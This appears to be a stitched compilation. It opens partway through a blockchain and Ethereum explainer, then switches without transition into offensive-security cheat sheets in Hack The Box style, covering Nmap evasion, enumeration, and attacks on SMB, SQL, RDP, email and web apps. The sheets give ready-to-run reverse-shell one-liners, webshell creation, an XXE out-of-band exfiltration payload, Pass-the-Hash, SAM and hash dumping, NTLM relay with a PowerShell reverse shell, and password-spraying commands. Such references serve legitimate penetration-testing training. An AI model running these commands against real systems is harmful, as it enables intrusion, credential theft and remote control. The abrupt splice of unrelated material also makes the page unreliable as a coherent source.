The distributed nature of blockchain further enhances tamper resistance, as any attempted modification would need to occur simultaneously across a majority of nodes in the network. With potentially thousands of independent nodes maintaining copies of the ledger across different geographic locations and jurisdictions, coordinating such an attack becomes practically impossible for well-established blockchain networks.

Device and Software Integrity

Beyond protecting the ledger itself, blockchain technology offers powerful mechanisms for ensuring the integrity of connected devices and software—a critical consideration in the expanding Internet of Things (IoT) ecosystem. By using blockchain, device manufacturers can create tamper-proof records of all changes made to a device's firmware or software, making it easier to identify unauthorized modifications.

This approach allows for the creation of a verifiable chain of custody for device configurations and software updates. When a change is made to a device, the modification is recorded on the blockchain along with information about the responsible party and the timestamp. Any unauthorized changes would be immediately flagged during regular verification against the blockchain record, enabling rapid response to potential security breaches.

Smart contracts can further enhance this protection by automating the verification process and implementing predefined responses to detected tampering attempts. For instance, a smart contract could automatically disable certain device functionalities if unauthorized modifications are detected, or it could trigger alerts to system administrators and other stakeholders.

Smart Contracts and Execution Environments

The Ethereum Virtual Machine (EVM)

The Ethereum Virtual Machine represents a revolutionary advancement in blockchain technology, extending capabilities beyond simple value transfers to include complex programmable logic in the form of smart contracts. The EVM functions as a decentralized computer distributed across all nodes in the Ethereum network, providing a consistent execution environment that ensures identical results regardless of where the computation occurs.

As the central processing engine of the Ethereum blockchain, the EVM executes smart contract code compiled into a specialized bytecode format. Developers typically write smart contracts in high-level languages like Solidity, which are then compiled into EVM-compatible bytecode for deployment on the blockchain. When users interact with these contracts through transactions, validators add these transactions to new blocks, and each node in the network runs the EVM to execute the smart contract code contained within those blocks.

The EVM's design incorporates several key features that make it suitable for blockchain-based computation: it is deterministic, ensuring that the same input always produces the same output; it is isolated from the host system for security; and it operates with well-defined resource constraints to prevent infinite loops or excessive computation that could disrupt the network. This architecture creates a secure and predictable environment for executing contractual logic without requiring trust in any central authority.

Smart Contract Development and Applications

Smart contracts function as self-executing agreements with the terms directly written into code, automatically enforcing obligations when predefined conditions are met. These programs can manage digital assets, implement complex business logic, and facilitate interactions between multiple parties without requiring intermediaries.

The development of smart contracts typically follows a lifecycle that includes design, implementation, testing, deployment, and monitoring phases. Due to the immutable nature of blockchain, errors in smart contract code can have serious consequences, making thorough testing and formal verification critical steps in the development process. Tools like Hardhat, Truffle, and Remix provide integrated development environments specifically designed for smart contract creation and testing.

Smart Contract

Smart contracts have enabled a wide range of applications across various domains:

Decentralized Finance (DeFi) applications use smart contracts to implement financial instruments like lending platforms, decentralized exchanges, and yield optimization strategies without traditional financial intermediaries. These applications have created an entirely new financial ecosystem with billions of dollars in total value locked.

Non-Fungible Tokens (NFTs) rely on smart contracts to establish verifiable ownership and provenance for digital assets, revolutionizing digital art, collectibles, and virtual real estate markets.

Supply chain management systems leverage smart contracts to automate payments and transfers of ownership as goods move through different stages of production and distribution, increasing transparency and reducing administrative overhead.

Governance systems implement voting mechanisms through smart contracts, allowing token holders to participate directly in decision-making processes for decentralized autonomous organizations (DAOs).

EVM-Compatible Blockchains

The success of Ethereum's programmable blockchain model has inspired numerous other networks to adopt EVM compatibility, creating an expanding ecosystem of chains that support the same smart contract functionality with various trade-offs in terms of scalability, cost, and consensus mechanisms:

Polygon operates as an Ethereum scaling solution that offers significantly lower transaction fees and faster confirmation times while maintaining compatibility with Ethereum's tooling and smart contracts. By functioning as a sidechain with its own consensus mechanism, Polygon alleviates congestion on the Ethereum mainnet while preserving interoperability.

BNB Chain (formerly Binance Smart Chain) has established itself as one of the largest blockchains in terms of transaction volume and daily active users. Its EVM compatibility allows developers to easily port applications from Ethereum while benefiting from higher throughput and lower fees, though with some sacrifices in terms of decentralization.

Gnosis Chain (formerly xDai) functions as an Ethereum sidechain run by a community of over 100,000 validators, offering lower gas fees than the Ethereum mainnet while maintaining full compatibility with Ethereum's smart contract ecosystem.

Avalanche, Fantom, and other EVM-compatible chains implement various consensus mechanisms and architectural designs to achieve different balances between the blockchain trilemma of security, scalability, and decentralization, while still supporting the same smart contract functionality as Ethereum.

This proliferation of EVM-compatible chains has created a rich ecosystem where developers can deploy the same smart contract code across multiple networks, allowing users to choose the environment that best suits their specific requirements in terms of cost, speed, and security guarantees.

Conclusion

Blockchain technology represents a sophisticated convergence of cryptographic principles, distributed systems architecture, consensus mechanisms, and programmable logic that collectively create secure, transparent, and tamper-resistant platforms for digital interactions. From the foundational cryptographic elements like SHA-3, elliptic curve cryptography, and Merkle trees to the high-level applications enabled by smart contracts running on the Ethereum Virtual Machine and its compatible chains, each component plays a vital role in the overall ecosystem.

The distributed nature of blockchain networks, where multiple independent nodes maintain synchronized copies of the ledger, eliminates single points of failure and creates systems that are inherently resistant to censorship and manipulation. Consensus mechanisms ensure that these distributed participants can agree on a single version of truth without requiring central coordination, while cryptographic chaining provides powerful tamper-prevention guarantees that become stronger as the blockchain grows.

As blockchain technology continues to evolve, we see increasing specialization and optimization of different networks for specific use cases, from high-security value transfer to high-throughput decentralized applications. The growing ecosystem of EVM-compatible chains demonstrates how core innovations can be adapted and enhanced to address different priorities while maintaining interoperability. This combination of security, programmability, and adaptability positions blockchain technology as a fundamental infrastructure layer for the next generation of digital systems across finance, governance, supply chain management, and beyond.

NMAP Cheatsheet

Nmap's TCP ACK scan (-sA) method is much harder to filter for firewalls and IDS/IPS systems than regular SYN (-sS) or Connect scans (sT) because they only send a TCP packet with only the ACK flag. When a port is closed or open, the host must respond with an RST flag. Unlike outgoing connections, all connection attempts (with the SYN flag) from external networks are usually blocked by firewalls. However, the packets with the ACK flag are often passed by the firewall because the firewall cannot determine whether the connection was first established from the external network or the internal network.

Decoys There are cases in which administrators block specific subnets from different regions in principle. This prevents any access to the target network. Another example is when IPS should block us. For this reason, the Decoy scanning method (-D) is the right choice. With this method, Nmap generates various random IP addresses inserted into the IP header to disguise the origin of the packet sent. With this method, we can generate random (RND) a specific number (for example: 5) of IP addresses separated by a colon (:). Our real IP address is then randomly placed between the generated IP addresses. In the next example, our real IP address is therefore placed in the second position. Another critical point is that the decoys must be alive. Otherwise, the service on the target may be unreachable due to SYN-flooding security mechanisms.

Scan by Using Decoys Firewall and IDS/IPS Evasion forhau@htb[/htb]$ sudo nmap 10.129.2.28 -p 80 -sS -Pn -n --disable-arp-ping --packet-trace -D RND:5

Scan by Using Different Source IP Firewall and IDS/IPS Evasion forhau@htb[/htb]$ sudo nmap 10.129.2.28 -n -Pn -p 445 -O -S 10.129.2.200 -e tun0

DNS Proxying By default, Nmap performs a reverse DNS resolution unless otherwise specified to find more important information about our target. These DNS queries are also passed in most cases because the given web server is supposed to be found and visited. The DNS queries are made over the UDP port 53. The TCP port 53 was previously only used for the so-called "Zone transfers" between the DNS servers or data transfer larger than 512 bytes. More and more, this is changing due to IPv6 and DNSSEC expansions. These changes cause many DNS requests to be made via TCP port 53.

However, Nmap still gives us a way to specify DNS servers ourselves (--dns-server ,). This method could be fundamental to us if we are in a demilitarized zone (DMZ). The company's DNS servers are usually more trusted than those from the Internet. So, for example, we could use them to interact with the hosts of the internal network. As another example, we can use TCP port 53 as a source port (--source-port) for our scans. If the administrator uses the firewall to control this port and does not filter IDS/IPS properly, our TCP packets will be trusted and passed through.

SYN-Scan of a Filtered Port Firewall and IDS/IPS Evasion forhau@htb[/htb]$ sudo nmap 10.129.2.28 -p50000 -sS -Pn -n --disable-arp-ping --packet-trace --source-port 53

Scanning Options

Nmap Option Description
10.10.10.0/24 Target network range.
-sn Disables port scanning.
-Pn Disables ICMP Echo Requests
-n Disables DNS Resolution.
-PE Performs the ping scan by using ICMP Echo Requests against the target.
--packet-trace Shows all packets sent and received.
--reason Displays the reason for a specific result.
--disable-arp-ping Disables ARP Ping Requests.
--top-ports= Scans the specified top ports that have been defined as most frequent.
-p- Scan all ports.
-p22-110 Scan all ports between 22 and 110.
-p22,25 Scans only the specified ports 22 and 25.
-F Scans top 100 ports.
-sS Performs an TCP SYN-Scan.
-sA Performs an TCP ACK-Scan.
-sU Performs an UDP Scan.
-sV Scans the discovered services for their versions.
-sC Perform a Script Scan with scripts that are categorized as "default".
--script SCRIPT Performs a Script Scan by using the specified scripts.
-O Performs an OS Detection Scan to determine the OS of the target.
-A Performs OS Detection, Service Detection, and traceroute scans.
-D RND:5 Sets the number of random Decoys that will be used to scan the target.
-e Specifies the network interface that is used for the scan.
-S 10.10.10.200 Specifies the source IP address for the scan.
-g Specifies the source port for the scan.
--dns-server DNS resolution is performed by using a specified name server.

Output Options

Nmap Option Description
-oA filename Stores the results in all available formats starting with the name of "filename".
-oN filename Stores the results in normal format with the name "filename".
-oG filename Stores the results in "grepable" format with the name of "filename".
-oX filename Stores the results in XML format with the name of "filename".

Performance Options

Nmap Option Description
--max-retries Sets the number of retries for scans of specific ports.
--stats-every=5s Displays scan's status every 5 seconds.
-v/-vv Displays verbose output during the scan.
--initial-rtt-timeout 50ms Sets the specified time value as initial RTT timeout.
--max-rtt-timeout 100ms Sets the specified time value as maximum RTT timeout.
--min-rate 300 Sets the number of packets that will be sent simultaneously.
-T <0-5> Specifies the specific timing template.

Pentesting Cheatsheet

When engaging in cybersecurity activities, such as penetration testing or vulnerability assessment, having a comprehensive toolkit of commands and scripts is essential. The following list provides a collection of commonly used commands across various stages of a cybersecurity engagement, including service scanning, web enumeration, exploiting public vulnerabilities, managing shells, escalating privileges, and transferring files. These commands are crucial for identifying potential vulnerabilities, exploiting them, and maintaining access to systems. They cover tools like nmap for network scanning, gobuster for web directory enumeration, Metasploit for exploiting known vulnerabilities, and netcat for establishing reverse shells. Additionally, they include methods for privilege escalation and file transfer, which are vital for post-exploitation activities. By mastering these commands, cybersecurity professionals can efficiently navigate and analyze systems to identify and address security weaknesses.

Basic Tools

Command Description
sudo openvpn user.ovpn Connect to VPN
ifconfig/ip a Show our IP address
netstat -rn Show networks accessible via the VPN
ssh user@10.10.10.10 SSH to a remote server
ftp 10.129.42.253 FTP to a remote server
tmux
tmux Start tmux
ctrl+b tmux: default prefix
prefix c tmux: new window
prefix 1 tmux: switch to window (1)
prefix shift+% tmux: split pane vertically
prefix shift+" tmux: split pane horizontally
prefix -> tmux: switch to the right pane
Vim
vim file vim: open file with vim
esc+i vim: enter insert mode
esc vim: back to normal mode
x vim: Cut character
dw vim: Cut word
dd vim: Cut full line
yw vim: Copy word
yy vim: Copy full line
p vim: Paste
:1 vim: Go to line number 1.
:w vim: Write the file 'i.e. save'
:q vim: Quit
:q! vim: Quit without saving
:wq vim: Write and quit

Pentesting

Command Description
Service Scanning
nmap 10.129.42.253 Run nmap on an IP
nmap -sV -sC -p- 10.129.42.253 Run an nmap script scan on an IP
locate scripts/citrix List various available nmap scripts
nmap --script smb-os-discovery.nse -p445 10.10.10.40 Run an nmap script on an IP
netcat 10.10.10.10 22 Grab banner of an open port
smbclient -N -L \\10.129.42.253 List SMB Shares
smbclient \\10.129.42.253\users Connect to an SMB share
snmpwalk -v 2c -c public 10.129.42.253 1.3.6.1.2.1.1.5.0 Scan SNMP on an IP
onesixtyone -c dict.txt 10.129.42.254 Brute force SNMP secret string
Web Enumeration
gobuster dir -u http://10.10.10.121/ -w /usr/share/dirb/wordlists/common.txt Run a directory scan on a website
gobuster dns -d inlanefreight.com -w /usr/share/SecLists/Discovery/DNS/namelist.txt Run a sub-domain scan on a website
curl -IL https://www.inlanefreight.com Grab website banner
whatweb 10.10.10.121 List details about the webserver/certificates
curl 10.10.10.121/robots.txt List potential directories in robots.txt
ctrl+U View page source (in Firefox)
Public Exploits
searchsploit openssh 7.2 Search for public exploits for a web application
msfconsole MSF: Start the Metasploit Framework
search exploit eternalblue MSF: Search for public exploits in MSF
use exploit/windows/smb/ms17_010_psexec MSF: Start using an MSF module
show options MSF: Show required options for an MSF module
set RHOSTS 10.10.10.40 MSF: Set a value for an MSF module option
check MSF: Test if the target server is vulnerable
exploit MSF: Run the exploit on the target server is vulnerable
Using Shells
nc -lvnp 1234 Start a nc listener on a local port
bash -c 'bash -i >& /dev/tcp/10.10.10.10/1234 0>&1' Send a reverse shell from the remote server
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f /bin/sh -i 2>&1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f /bin/bash -i 2>&1
nc 10.10.10.1 1234 Connect to a bind shell started on the remote server
python -c 'import pty; pty.spawn("/bin/bash")' Upgrade shell TTY (1)
ctrl+z then stty raw -echo then fg then enter twice Upgrade shell TTY (2)
echo "" > /var/www/html/shell.php Create a webshell php file
curl http://SERVER_IP:PORT/shell.php?cmd=id Execute a command on an uploaded webshell
Privilege Escalation
./linpeas.sh Run linpeas script to enumerate remote server
sudo -l List available sudo privileges
sudo -u user /bin/echo Hello World! Run a command with sudo
sudo su - Switch to root user (if we have access to sudo su)
sudo su user - Switch to a user (if we have access to sudo su)
ssh-keygen -f key Create a new SSH key
echo "ssh-rsa AAAAB...SNIP...M= user@parrot" >> /root/.ssh/authorized_keys Add the generated public key to the user
ssh root@10.10.10.10 -i key SSH to the server with the generated private key
Transferring Files
python3 -m http.server 8000 Start a local webserver
wget http://10.10.14.1:8000/linpeas.sh Download a file on the remote server from our local machine
curl http://10.10.14.1:8000/linenum.sh -o linenum.sh Download a file on the remote server from our local machine
scp linenum.sh user@remotehost:/tmp/linenum.sh Transfer a file to the remote server with scp (requires SSH access)
base64 shell -w 0 Convert a file to base64
echo f0VMR...SNIO...InmDwU base64 -d > shell
md5sum shell Check the file's md5sum to ensure it converted correctly

Foothold Cheatsheet

Initial Foothold

In technical workflows, efficiency often hinges on recalling precise commands, flags, or syntax. These cheatsheets condense essential tools, techniques, and workflows into actionable quick-reference guides, designed to save time and reduce friction. Whether you’re scanning networks, automating tasks, or troubleshooting systems, use this curated collection as your "initial foothold" for rapid execution—eliminating guesswork and keeping critical information at your fingertips. Bookmark, print, or memorize these shortcuts to streamline your process and stay focused on results.

Infrastructure-based Enumeration

Command Description
curl -s https://crt.sh/\?q\=\&output\=json jq .
for i in $(cat ip-addresses.txt);do shodan host $i;done Scan each IP address in a list using Shodan.

Host-based Enumeration

FTP

Command Description
ftp Interact with the FTP service on the target.
nc -nv 21 Interact with the FTP service on the target.
telnet 21 Interact with the FTP service on the target.
openssl s_client -connect :21 -starttls ftp Interact with the FTP service on the target using encrypted connection.
wget -m --no-passive ftp://anonymous:anonymous@ Download all available files on the target FTP server.

SMB

Command Description
smbclient -N -L // Null session authentication on SMB.
smbclient /// Connect to a specific SMB share.
rpcclient -U "" Interaction with the target using RPC.
samrdump.py Username enumeration using Impacket scripts.
smbmap -H Enumerating SMB shares.
crackmapexec smb --shares -u '' -p '' Enumerating SMB shares using null session authentication.
enum4linux-ng.py -A SMB enumeration using enum4linux.

NFS

Command Description
showmount -e Show available NFS shares.
mount -t nfs :/ ./target-NFS/ -o nolock Mount the specific NFS share.umount ./target-NFS
umount ./target-NFS Unmount the specific NFS share.

DNS

Command Description
dig ns @ NS request to the specific nameserver.
dig any @ ANY request to the specific nameserver.
dig axfr @ AXFR request to the specific nameserver.
dnsenum --dnsserver --enum -p 0 -s 0 -o found_subdomains.txt -f ~/subdomains.list Subdomain brute forcing.

SMTP

Command Description
telnet 25

IMAP/POP3

Command Description
curl -k 'imaps://' --user : Log in to the IMAPS service using cURL.
openssl s_client -connect :imaps Connect to the IMAPS service.
openssl s_client -connect :pop3s Connect to the POP3s service.

SNMP

Command Description
snmpwalk -v2c -c Querying OIDs using snmpwalk.
onesixtyone -c community-strings.list Bruteforcing community strings of the SNMP service.
braa @:.1.* Bruteforcing SNMP service OIDs.

MySQL

Command Description
mysql -u -p -h Login to the MySQL server.

MSSQL

Command Description
mssqlclient.py @ -windows-auth Log in to the MSSQL server using Windows authentication.

IPMI

Command Description
msf6 auxiliary(scanner/ipmi/ipmi_version) IPMI version detection.
msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) Dump IPMI hashes.

Linux Remote Management

Command Description
ssh-audit.py Remote security audit against the target SSH service.
ssh @ Log in to the SSH server using the SSH client.
ssh -i private.key @ Log in to the SSH server using private key.
ssh @ -o PreferredAuthentications=password Enforce password-based authentication.

Windows Remote Management

Command Description
rdp-sec-check.pl Check the security settings of the RDP service.
xfreerdp /u: /p:"" /v: Log in to the RDP server from Linux.
evil-winrm -i -u -p Log in to the WinRM server.
wmiexec.py :""@ "" Execute command using the WMI service.

Oracle TNS

Command Description
./odat.py all -s Perform a variety of scans to gather information about the Oracle database services and its components.
sqlplus /@/ Log in to the Oracle database.
./odat.py utlfile -s -d -U -P --sysdba --putFile C:\insert\path file.txt ./file.txt Upload a file with Oracle RDBMS.

Attacking FTP

Command Description
ftp 192.168.2.142 Connecting to the FTP server using the ftp client.
nc -v 192.168.2.142 21 Connecting to the FTP server using netcat.
hydra -l user1 -P /usr/share/wordlists/rockyou.txt ftp://192.168.2.142 Brute-forcing the FTP service.

Attacking SMB

Command Description
smbclient -N -L //10.129.14.128 Null-session testing against the SMB service.
smbmap -H 10.129.14.128 Network share enumeration using smbmap.
smbmap -H 10.129.14.128 -r notes Recursive network share enumeration using smbmap.
smbmap -H 10.129.14.128 --download "notes\note.txt" Download a specific file from the shared folder.
smbmap -H 10.129.14.128 --upload test.txt "notes\test.txt" Upload a specific file to the shared folder.
rpcclient -U'%' 10.10.110.17 Null-session with the rpcclient.
./enum4linux-ng.py 10.10.11.45 -A -C Automated enumeratition of the SMB service using enum4linux-ng.
crackmapexec smb 10.10.110.17 -u /tmp/userlist.txt -p 'Company01!' Password spraying against different users from a list.
impacket-psexec administrator:'Password123!'@10.10.110.17 Connect to the SMB service using the impacket-psexec.
crackmapexec smb 10.10.110.17 -u Administrator -p 'Password123!' -x 'whoami' --exec-method smbexec Execute a command over the SMB service using crackmapexec.
crackmapexec smb 10.10.110.0/24 -u administrator -p 'Password123!' --loggedon-users Enumerating Logged-on users.
crackmapexec smb 10.10.110.17 -u administrator -p 'Password123!' --sam Extract hashes from the SAM database.
crackmapexec smb 10.10.110.17 -u Administrator -H 2B576ACBE6BCFDA7294D6BD18041B8FE Use the Pass-The-Hash technique to authenticate on the target host.
impacket-ntlmrelayx --no-http-server -smb2support -t 10.10.110.146 Dump the SAM database using impacket-ntlmrelayx.
impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.220.146 -c 'powershell -e Execute a PowerShell based reverse shell using impacket-ntlmrelayx.

Attacking SQL Databases

Command Description
mysql -u julio -pPassword123 -h 10.129.20.13 Connecting to the MySQL server.
sqlcmd -S SRVMSSQL\SQLEXPRESS -U julio -P 'MyPassword!' -y 30 -Y 30 Connecting to the MSSQL server.
sqsh -S 10.129.203.7 -U julio -P 'MyPassword!' -h Connecting to the MSSQL server from Linux.
sqsh -S 10.129.203.7 -U .\julio -P 'MyPassword!' -h Connecting to the MSSQL server from Linux while Windows Authentication mechanism is used by the MSSQL server.
mysql> SHOW DATABASES; Show all available databases in MySQL.
mysql> USE htbusers; Select a specific database in MySQL.
mysql> SHOW TABLES; Show all available tables in the selected database in MySQL.
mysql> SELECT * FROM users; Select all available entries from the "users" table in MySQL.
sqlcmd> SELECT name FROM master.dbo.sysdatabases Show all available databases in MSSQL.
sqlcmd> USE htbusers Select a specific database in MSSQL.
sqlcmd> SELECT * FROM htbusers.INFORMATION_SCHEMA.TABLES Show all available tables in the selected database in MSSQL.
sqlcmd> SELECT * FROM users Select all available entries from the "users" table in MSSQL.
sqlcmd> EXECUTE sp_configure 'show advanced options', 1 To allow advanced options to be changed.
sqlcmd> EXECUTE sp_configure 'xp_cmdshell', 1 To enable the xp_cmdshell.
sqlcmd> RECONFIGURE To be used after each sp_configure command to apply the changes.
sqlcmd> xp_cmdshell 'whoami' Execute a system command from MSSQL server.
mysql> SELECT "" INTO OUTFILE '/var/www/html/webshell.php' Create a file using MySQL.
mysql> show variables like "secure_file_priv"; Check if the the secure file privileges are empty to read locally stored files on the system.
sqlcmd> SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents Read local files in MSSQL.
mysql> select LOAD_FILE("/etc/passwd"); Read local files in MySQL.
sqlcmd> EXEC master..xp_dirtree '\10.10.110.17\share\' Hash stealing using the xp_dirtree command in MSSQL.
sqlcmd> EXEC master..xp_subdirs '\10.10.110.17\share\' Hash stealing using the xp_subdirs command in MSSQL.
sqlcmd> SELECT srvname, isremote FROM sysservers Identify linked servers in MSSQL.
sqlcmd> EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [10.0.0.12\SQLEXPRESS] Identify the user and its privileges used for the remote connection in MSSQL.

Attacking RDP

Command Description
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123' Password spraying against the RDP service.
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp Brute-forcing the RDP service.
rdesktop -u admin -p password123 192.168.2.143 Connect to the RDP service using rdesktop in Linux.
tscon #{TARGET_SESSION_ID} /dest:#{OUR_SESSION_NAME} Impersonate a user without its password.
net start sessionhijack Execute the RDP session hijack.
reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f Enable "Restricted Admin Mode" on the target Windows host.
xfreerdp /v:192.168.2.141 /u:admin /pth:A9FDFA038C4B75EBC76DC855DD74F0DA Use the Pass-The-Hash technique to login on the target host without a password.

Attacking DNS

Command Description
dig AXFR @ns1.inlanefreight.htb inlanefreight.htb Perform an AXFR zone transfer attempt against a specific name server.
subfinder -d inlanefreight.com -v Brute-forcing subdomains.
host support.inlanefreight.com DNS lookup for the specified subdomain.

Attacking Email Services

Command Description
host -t MX microsoft.com DNS lookup for mail servers for the specified domain.
dig mx inlanefreight.com grep "MX"
host -t A mail1.inlanefreight.htb. DNS lookup of the IPv4 address for the specified subdomain.
telnet 10.10.110.20 25 Connect to the SMTP server.
smtp-user-enum -M RCPT -U userlist.txt -D inlanefreight.htb -t 10.129.203.7 SMTP user enumeration using the RCPT command against the specified host.
python3 o365spray.py --validate --domain msplaintext.xyz Verify the usage of Office365 for the specified domain.
python3 o365spray.py --enum -U users.txt --domain msplaintext.xyz Enumerate existing users using Office365 on the specified domain.
python3 o365spray.py --spray -U usersfound.txt -p 'March2022!' --count 1 --lockout 1 --domain msplaintext.xyz Password spraying against a list of users that use Office365 for the specified domain.
hydra -L users.txt -p 'Company01!' -f 10.10.110.20 pop3 Brute-forcing the POP3 service.
swaks --from notifications@inlanefreight.com --to employees@inlanefreight.com --header 'Subject: Notification' --body 'Message' --server 10.10.11.213 Testing the SMTP service for the open-relay vulnerability.

Web Application Cheatsheet

Web application penetration testing is a critical security practice designed to identify and exploit vulnerabilities in web applications, simulating real-world attacks to assess their resilience against cyber threats. This method involves a thorough examination of the application's architecture, from the user interface to the underlying codebase, to uncover potential security gaps that could be exploited by malicious actors. By mimicking the tactics, techniques, and procedures (TTPs) used by hackers, penetration testers provide actionable insights into an application's security posture, helping organizations strengthen their defenses and comply with industry standards like PCI-DSS. This proactive approach not only enhances security but also reduces the risk of data breaches and financial losses, ensuring that sensitive data remains protected.

Checklist: - Client-side validation — Checks may not be replicated on the server - Database interaction — SQL injection - File uploading and downloading — Path traversal vulnerabilities, stored cross-site scripting - Display of user-supplied data — Cross-site scripting - Dynamic redirects — Redirection and header injection attacks - Social networking features — username enumeration, stored cross-site scripting - Login — Username enumeration, weak passwords, ability to use brute force - Multistage login — Logic flaws - Session state — Predictable tokens, insecure handling of tokens - Access controls — Horizontal and vertical privilege escalation - User impersonation functions — Privilege escalation - Use of cleartext communications — Session hijacking, capture of credentials and other sensitive data - Off-site links — Leakage of query string parameters in the Referer header - Interfaces to external systems — Shortcuts in the handling of sessions and/or access controls - Error messages — Information leakage - E-mail interaction — E-mail and/or command injection - Native code components or interaction — Buffer overflows - Use of third-party application components — Known vulnerabilities - Identifiable web server software — Common configuration weaknesses, known software bugs

For cloud pentesting check \<a href="https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details" target="_blank">Pacu\</a> tool.

Enumeration

with raw HTTP request from BURP repeater:

POST /login.php HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 27

username=admin&password=FUZZ

save it into req.txt and perform the login bruteforce:

ffuf -request req.txt -w /path/to/passwords.txt

To fuzz multiple parameters in the request, you can use multiple FUZZ keywords and specify the corresponding wordlists with the -w option. For example, if you want to fuzz both the username and password parameters, you can use the following command:

ffuf -request req.txt -w usernames.txt:UFUZZ -w passwords.txt:PFUZZ -fs 4242

This will use the usernames.txt wordlist for the UFUZZ keyword and the passwords.txt wordlist for the PFUZZ keyword.

How to filter:

-mc 200 match HTTP 200

-fs 4242 filter content size 4242

-fr “invalid” filter by responses matching regex “invalid”

-r Follow redirects, default to false

Spidering through BURP in 8080:

ffuf.exe -request .\req.txt -w .\directories.txt -x http://127.0.0.1:8080

Different modes (like in BURP Intruder)

ffuf.exe -request .\req.txt -request-proto http -w bytes.txt:BFUZZ -w passwords.txt:PFUZZ -mode pitchfork

Multi-wordlist operation mode. Available modes: clusterbomb, pitchfork, sniper (default: clusterbomb)

Ffuf

Command Description
ffuf -h ffuf help
ffuf -w wordlist.txt:FUZZ -u http://SERVER_IP:PORT/FUZZ Directory Fuzzing
ffuf -w wordlist.txt:FUZZ -u http://SERVER_IP:PORT/indexFUZZ Extension Fuzzing
ffuf -w wordlist.txt:FUZZ -u http://SERVER_IP:PORT/blog/FUZZ.php Page Fuzzing
ffuf -w wordlist.txt:FUZZ -u http://SERVER_IP:PORT/FUZZ -recursion -recursion-depth 1 -e .php -v Recursive Fuzzing
ffuf -w wordlist.txt:FUZZ -u https://FUZZ.hackthebox.eu/ Sub-domain Fuzzing
ffuf -w wordlist.txt:FUZZ -u http://academy.htb:PORT/ -H 'Host: FUZZ.academy.htb' -fs xxx VHost Fuzzing
ffuf -w wordlist.txt:FUZZ -u http://admin.academy.htb:PORT/admin/admin.php?FUZZ=key -fs xxx Parameter Fuzzing - GET
ffuf -w wordlist.txt:FUZZ -u http://admin.academy.htb:PORT/admin/admin.php -X POST -d 'FUZZ=key' -H 'Content-Type: application/x-www-form-urlencoded' -fs xxx Parameter Fuzzing - POST
ffuf -w ids.txt:FUZZ -u http://admin.academy.htb:PORT/admin/admin.php -X POST -d 'id=FUZZ' -H 'Content-Type: application/x-www-form-urlencoded' -fs xxx Value Fuzzing
ffuf -w ./folders.txt:FOLDERS,./wordlist.txt:WORDLIST,./extensions.txt:EXTENSIONS -u http://192.168.10.10/FOLDERS/WORDLISTEXTENSIONS Crawl with:
-found folders in previous scan (dirlisting alias)
-cewl wordlist (generatelist alias)
-raft-* list for extensions, or known extension

Wordlists

Command Description
/opt/useful/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt Directory/Page Wordlist
/opt/useful/SecLists/Discovery/Web-Content/web-extensions.txt Extensions Wordlist
/opt/useful/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
/opt/useful/SecLists/Discovery/DNS/namelist.txt Domain Wordlist
/opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt Parameters Wordlist
/opt/share/seclists/Discovery/Web-Content/raft-* folders, words, extensions

Misc

Command Description
sudo sh -c 'echo "SERVER_IP academy.htb" >> /etc/hosts' Add DNS entry
for i in $(seq 1 1000); do echo $i >> ids.txt; done Create Sequence Wordlist
curl http://admin.academy.htb:PORT/admin/admin.php -X POST -d 'id=key' -H 'Content-Type: application/x-www-form-urlencoded' curl w/ POST

HTTP

HTTP Verb Tampering

HTTP Method - HEAD - PUT - DELETE - OPTIONS - PATCH

Command Description
-X OPTIONS Set HTTP Method with Curl

IDOR

Identify IDORS - In URL parameters & APIs - In AJAX Calls - By understanding reference hashing/encoding - By comparing user roles

Command Description
md5sum MD5 hash a string
base64 Base64 encode a string

XXE

Code Description
\<!ENTITY xxe SYSTEM "http://localhost/email.dtd"> Define External Entity to a URL
\<!ENTITY xxe SYSTEM "file:///etc/passwd"> Define External Entity to a file path
\<!ENTITY company SYSTEM "php://filter/convert.base64-encode/resource=index.php"> Read PHP source code with base64 encode filter
\<!ENTITY % error "\<!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>"> Reading a file through a PHP error
\<!ENTITY % oob "\<!ENTITY content SYSTEM 'http://OUR_IP:8000/?content=%file;'>"> Reading a file OOB exfiltration
&xxe; Reference External Entity

SQLi

MySQL

Command Description
General
mysql -u root -h docker.hackthebox.eu -P 3306 -p login to mysql database
SHOW DATABASES List available databases
USE users Switch to database
Tables
CREATE TABLE logins (id INT, ...) Add a new table
SHOW TABLES List available tables in current database
DESCRIBE logins Show table properties and columns
INSERT INTO table_name VALUES (value_1,..) Add values to table
INSERT INTO table_name(column2, ...) VALUES (column2_value, ..) Add values to specific columns in a table
UPDATE table_name SET column1=newvalue1, ... WHERE \<condition> Update table values
Columns
SELECT * FROM table_name Show all columns in a table
SELECT column1, column2 FROM table_name Show specific columns in a table
DROP TABLE logins Delete a table
ALTER TABLE logins ADD newColumn INT Add new column
ALTER TABLE logins RENAME COLUMN newColumn TO oldColumn Rename column
ALTER TABLE logins MODIFY oldColumn DATE Change column datatype
ALTER TABLE logins DROP oldColumn Delete column
Output
SELECT * FROM logins ORDER BY column_1 Sort by column
SELECT * FROM logins ORDER BY column_1 DESC Sort by column in descending order
SELECT * FROM logins ORDER BY column_1 DESC, id ASC Sort by two-columns
SELECT * FROM logins LIMIT 2 Only show first two results
SELECT * FROM logins LIMIT 1, 2 Only show first two results starting from index 2
SELECT * FROM table_name WHERE \<condition> List results that meet a condition
SELECT * FROM logins WHERE username LIKE 'admin%' List results where the name is similar to a given string

